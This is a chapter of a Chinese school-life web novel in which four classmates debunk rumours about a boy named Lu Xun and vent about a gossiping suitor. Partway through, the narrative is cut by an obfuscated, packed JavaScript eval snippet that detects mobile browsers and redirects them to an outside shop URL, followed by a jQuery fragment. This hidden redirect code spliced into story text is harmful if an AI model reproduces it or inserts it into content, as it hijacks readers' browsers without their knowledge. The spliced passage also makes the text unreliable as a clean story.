午自习的下课铃声一响,教室里刚刚发出嗡嗡声,于慕青就气势汹汹转向林风临。
“从实招来!”
她这一声喝,除了让林风临摸不着头脑,李月然也惊得看她。
陈曼文转过身替她解释,“这家伙看见风临和那个陆巡走在一起了,刺挠一节课了。”
于慕青受到鼓舞地点点头,瞥向林风临:“到底怎么回事?他是不是威胁你?”
林风临感觉完全跟不上她的脑回路,只发出了饱含无辜和困惑的一声“啊?”
李月然比起完全在状况外的同桌,倒是觉得理解几分:“风临,是陆巡又做奇怪的事了吗?”
“肯定是那个陆巡欺负男生不过瘾了,准备对女生开火了!”
“他是不是跟踪风临故意和她抢路走?”
“风临与虎谋皮,身先士卒?”
随着她们你一句我一句的离谱猜测越来越多,林风临脸上的表情,也由纠结化为释然。
她大彻大悟。
就算和陆巡并排走,同桌吃,她也始终清清白白的原因找到了。
这家伙是不可能有绯闻的。
名声太臭了吧你!!
给你机会你不中用啊!
林风临:“我和陆巡其实已经是朋友……算了说了你们也不信。到底他在传说中又干什么了?你们怎么会这么想啊?”
接下来,原中第一八卦王/战火前线情报员/地下潜伏者/齐刘海判官——于慕青为林风临讲述了她所收集到的陆巡作恶案卷录,桩桩件件刺激骇人,寥寥几句就能勾勒出他那青面獠牙、异于常人的天生坏种形象。
“据说他刚开学就踹开了鲁老师办公室的门,在办公室众目睽睽之下鼻孔朝天和老鲁对话,狠狠给了老师们一个下马威。”
林风临:“鲁自强给你说的?”
“后来鲁老师苦心教导他,还不计前嫌提供了班里体育委员的高位,他却出言不逊,当天鲁老师犯病请假回家。”
林风临:“你听听这前因后果牵强不?”
“据说他对任何和他说话的人都怀恨在心,曾经趁着走廊人多拥挤,暗中踢了班主任一脚。”
林风临:“……鲁自强命真大哈。”
“他在校外颇有一番恶势力,曾经暴起伤人,把二中三中的一伙无辜好学生打翻在地,还进了派出所。”
“据说他高一的时候经常消失就是蹲局子去了。”
“他高一时还曾经强抢别人的文具占为己有,那个班里人人自危,只敢把用秃了的2B铅笔放在桌面上。”
“……”
林风临:“这些,你从哪里听来的?”
所有经不起考究的,左右互搏的,自相矛盾的,让人津津乐道的流言。
.
“你的意思是,他其实是个好人,只是被冤枉了?”于慕青很不可思议,“可是为什么就他被冤枉啊?总得有点源头吧。”
林风临点点头:“对,所以我们现在要找到那个源头。”
看着大家迷惑犹疑的神情,她叹口气,还是说:“就他被冤枉,是因为就他遇到了会冤枉他的人,这跟他做了什么没关系。就比如说我,我什么都没做,你们知道隔壁那个冬瓜男说我什么吗?”
于慕青从座位上暴起了:“他敢!他说什么啦!”
陈曼文把她拉下来,“你再大声点,干脆把那冬瓜喊过来直接问呗。”
李月然轻轻皱起了眉,把手靠近林风临:“不管那个冬瓜同学说什么,我们都不会信的,你不要难过。”
“你们当然不会信了,”林风临冷静地说,“因为你们已经对我有了自己的印象,和这个印象相悖的传言你们不会轻易相信。可是那些不认识我的人,听到那个冬瓜的话,就会先入为主。”
“觉得是我做了什么勾引他,玩弄他,又辜负他。”
陈曼文发自内心地点评道:“这玩意儿他也配!”
于慕青已经坐不住了,“我去找我5班的人脉问问!我倒要看看他说你什么,怎么有脸的!”
林风临静静看着她,“你如果去听站在他那边的人说话,一定会听到那些所谓我做了什么的证据。而且,你听过那些骂我的话之后,尽管你很排斥,还是会在以后每一次见到我的时候想起来。”
于慕青那张活泼天真的脸上,出现了无措和迷茫的神情。
林风临看着她的样子,自己也莫名难过起来,小声说:“就像我虽然不相信陆巡的流言,可是一开始见到他的时候,还是会下意识心生警惕。我花了很多心力才纠正过来。”
“这些流言真的很烦人,我早就厌倦了。我甚至察觉到别人看着我,都有点烦,因为我知道,他们一定在心里评价我。”
林风临说着说着,趴在了桌子上,不说话了。
李月然轻轻拍拍她:“都会过去的。像我记性就不好,我已经忘记了。”
“忘记什么?”
“……不知道。”
林风临被她笨拙又一本正经的安慰逗笑了,一笑出声,连自己刚刚打算说什么也忘了。
于慕青也安静下来,把林风临的笔袋挪开,自己也伏在她桌子上,和她面对面趴着。
“对不起,风临,”她小声说,“我不知道怎么做最好……我以为获得更多的消息,就能避免犯错,做更好的决定。”
“但是现在想想,我根本不知道怎么判断真假,别人说什么,我就记什么,总觉得知道得越多就越厉害。”
“哎,我真没用。”
看着于慕青消沉的样子,林风临陡然间觉得自己不应该那样对她说话。
又不是她的错。
那么多人都那么说,她跟着一起说,又不是她有意的。
人云亦云的趋势,哪有那么容易意识到?
陈曼文看着这沉重的氛围,嗤了一声:“你们的情绪也太丰富了,多大点儿事啊。说就说了呗,骂就骂了呗,有意见就有意见呗,吃不吃妙脆角?”
她在桌肚里捣鼓了一会的手伸过来摊开,手心的一堆妙脆角红亮亮的,纹路里都涂满了孜然粉。
“吃!”
“吃。”
“我想要一个。”
几个人像小鸡似的把手曲成爪子,从陈曼文的手心里啄走了食物。
四个女孩子都开始专心致志地活动嘴巴。
吃着吃着,于慕青抱怨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326815|199130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“那个冬瓜男,真是没有自知之明,长这么大没见过镜子啊?还敢打风临的主意!”
陈曼文:“你嚼的时候能不能闭上小嘴巴,喷我脸上了!”
林风临真的愤慨了:“等一下,我早就想说了,这些家伙根本不懂什么是喜欢!”
“我真的服了这些男生了,要是暗恋我,你就老老实实躲在暗处;要是明恋我,你就大大方方站到我眼前!”
“曲里拐弯地把一大批人牵扯进来当二道贩子!有必要这么复杂吗?”
“有本事堂堂正正比一下魅力啊!”
“老是各种在别人面前表演对我的喜欢算什么?撺掇不相干的闲人到我面前来说三道四,不觉得这种试探像作弊吗?”
林风临表情严肃,越说越快:“好话都说给别人听了,在别人嘴里过个三道四道的,谁稀罕这种二手表白?有话不敢到我面前说,把自己的自尊看得比天高,怎么没想到我也有自尊?叫一帮人围住我试探我,观察点评我的表情反应,请问他是人吗?他喜欢我?他喜欢为难我吧!”
这一通话说完,舒服多了。
她呼出一口气,“爽!哎呀,应该当面说的!”
于慕青灵光一闪,挺起了胸膛:“你放心,我有办法!保证他能听到这些话!保证他们全班人都能听到!”
陈曼文给她竖起了大拇指:“做坏事的时候你是有精神的!”
李月然忧心道:“我觉得他听不懂。”
“然然,我第一次发现你攻击力还挺强的。”林风临不禁对同桌刮目相看。
.
一大包妙脆角都吭哧吭哧吃完了,竟然还没上课。
林风临看自己的手表:“上课时间都过了八分钟了,铃声是不是坏了?”
教室里的其他同学显然也发现了,纷纷窃窃私语起来。
当然也有人抓紧偷来的这几分钟再多玩一会,什么自觉拿出书温习,不可能的。
班长方婉起身,纤细挺拔的身影急匆匆地出了教室门,应该是找老师去了。
林风临的目光慢慢移向后排,发现那里热火朝天的氛围中,陆巡竟然正在低头认真地写着什么,看起来丝毫不受诱惑,在几个玩球的男生中极为显眼,也十分异常。
“陆哥,写啥呢?为啥不和我玩啊?”王竞勇挨在陆巡肩膀边上,眼巴巴地邀请。
陆巡没说话,只是用左手挡了一下内容,右手丝毫不停。
他已经总结出了规律,一旦和王竞勇对视,或对话,接下来就没完了。
一定不能理睬他。
果然,王竞勇看了他一会儿,失望地转移目标,继续和后排的其他人打闹了。
林风临大感欣慰,陆巡看来真的投身学习了,不错不错,孺子可教!
她也赶紧扭回身体,找出了一张卷子。
.
班长方婉回来了,带来让人意料之中失望的消息:“教学楼铃声故障。物理老师马上到。”
她也不管下面哀嚎的同学,自顾自走到座位坐下。
关容在窗边第一排,没有任何动静,好像没有知觉一样低头写着卷子。
方婉收回目光,脸色冷了下来。